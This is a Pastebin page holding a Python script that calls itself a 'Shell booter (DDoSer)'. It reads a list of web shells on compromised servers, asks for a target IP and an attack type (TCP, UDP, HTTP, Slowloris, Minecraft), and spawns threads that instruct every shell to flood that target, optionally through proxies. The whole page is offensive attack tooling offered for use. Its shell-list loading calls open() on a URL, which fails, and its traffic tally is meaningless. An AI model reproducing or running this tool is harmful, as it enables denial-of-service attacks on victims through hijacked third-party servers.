Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import threading
- import time
- import os
- import re
- import socket
- import requests
- from urllib.parse import quote, urlparse
- # Terminal color constants
- class TermColor:
- HEADER = '\033[95m'
- OKBLUE = '\033[94m'
- OKGREEN = '\033[92m'
- WARNING = '\033[93m'
- FAIL = '\033[91m'
- ENDC = '\033[0m'
- BOLD = '\033[1m'
- UNDERLINE = '\033[4m'
- print(TermColor.OKGREEN + 'Loading Shells')
- try:
- with open("https://pastebin.com/raw/yUL9mhDC", "r") as f:
- hosts = f.read().splitlines()
- except Exception as e:
- print(TermColor.FAIL + 'Unable to load shells. Exiting. Error: {}'.format(e))
- exit()
- packets = 0
- port = 0
- page = "/"
- mbs = 0.00
- count = 0
- print('Shell booter (DDoSer) coded by ' + TermColor.WARNING + 'Milenko aka Freak')
- print(TermColor.OKGREEN, '{} Shells Loaded.\n'.format(len(hosts)))
- target = input("IP: ")
- attacktype = input("Attack type (TCP/UDP/HTTP/SLOWLORIS/MINECRAFT): ").upper()
- proxiesenabled = "no"
- if attacktype in ["TCP", "UDP", "MINECRAFT"]:
- if attacktype == "UDP":
- target = socket.gethostbyname(target)
- print("Resolved hostname into " + target)
- port = input("Attack port: ")
- elif attacktype in ["HTTP", "SLOWLORIS"]:
- port = "80"
- page = input("Page: ")
- if attacktype == "HTTP":
- proxiesenabled = input("Use glype proxies? (y/n): ").lower()
- if proxiesenabled in ["y", "yes"]:
- scheme = input("Scheme (http or https): ")
- proxy_list_location = input("Proxy list location: ")
- with open(proxy_list_location, "r") as f:
- proxylist = f.read().splitlines()
- if attacktype == "SLOWLORIS":
- sockets = input("Sockets: ")
- seconds = int(input("Time: "))
- thread_count = int(input("Threads: "))
- def fire(host, ip, attacktype, port, page="/"):
- global packets
- global mbs
- host = host.strip()
- attacktype = attacktype.strip()
- page = page.strip()
- url = f"{host}?type={attacktype}&host={ip}&port={port}&time={seconds}"
- if attacktype in ["HTTP", "SLOWLORIS"]:
- url += f"&page={page}"
- if attacktype == "SLOWLORIS":
- url += f"&sockets={sockets}"
- try:
- reply = requests.get(url).text
- packets += int(re.sub("\D", "", reply))
- mb = packets * 1024 / 1024
- mbs += mb
- except Exception as e:
- print(TermColor.FAIL + f"{host} returned {e}" + TermColor.OKGREEN)
- def worker(hosts, target, attacktype, port, page):
- for host in hosts:
- fire(host, target, attacktype, port, page)
- threads = []
- for i in range(thread_count):
- thread = threading.Thread(target=worker, args=(hosts, target, attacktype, port, page))
- threads.append(thread)
- thread.start()
- for thread in threads:
- thread.join()
- print(TermColor.OKGREEN + "Attack completed. Press enter to exit.")
- input()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement